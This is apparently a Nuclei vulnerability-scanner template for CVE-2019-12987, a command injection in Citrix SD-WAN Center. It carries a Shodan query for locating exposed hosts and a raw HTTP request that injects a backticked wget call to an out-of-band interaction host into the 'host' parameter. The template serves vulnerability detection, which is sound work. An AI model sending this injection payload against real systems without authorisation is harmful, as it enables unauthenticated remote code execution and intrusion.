nuclei-templates/http/cves/2019/CVE-2019-12987.yaml

54 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2019-12987
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-06 12:53:28 +00:00
remediation: |
Apply the latest security patches provided by Citrix to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/article/CTX251987
- https://nvd.nist.gov/vuln/detail/CVE-2019-12987
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12987
cwe-id: CWE-78
2023-07-11 19:49:27 +00:00
epss-score: 0.97433
epss-percentile: 0.99923
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: citrix
product: netscaler_sd-wan
2023-09-06 12:53:28 +00:00
shodan-query: http.title:"Citrix SD-WAN"
tags: citrix,rce,unauth,oast,tenable,cve,cve2019
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |+
GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1
Host: {{Hostname}}
Accept: */*
unsafe: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
2023-07-11 19:49:27 +00:00
- type: dsl
dsl:
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a0047304502202076a08c568b15425bcb185749cd1dbfee77757be31638334ef17db8183fb2c0022100ea9336d266126ffef2c7987ae12781f171e8f862530959795ca09d1fddc1763f:922c64590222798bb761d5b6d8e72950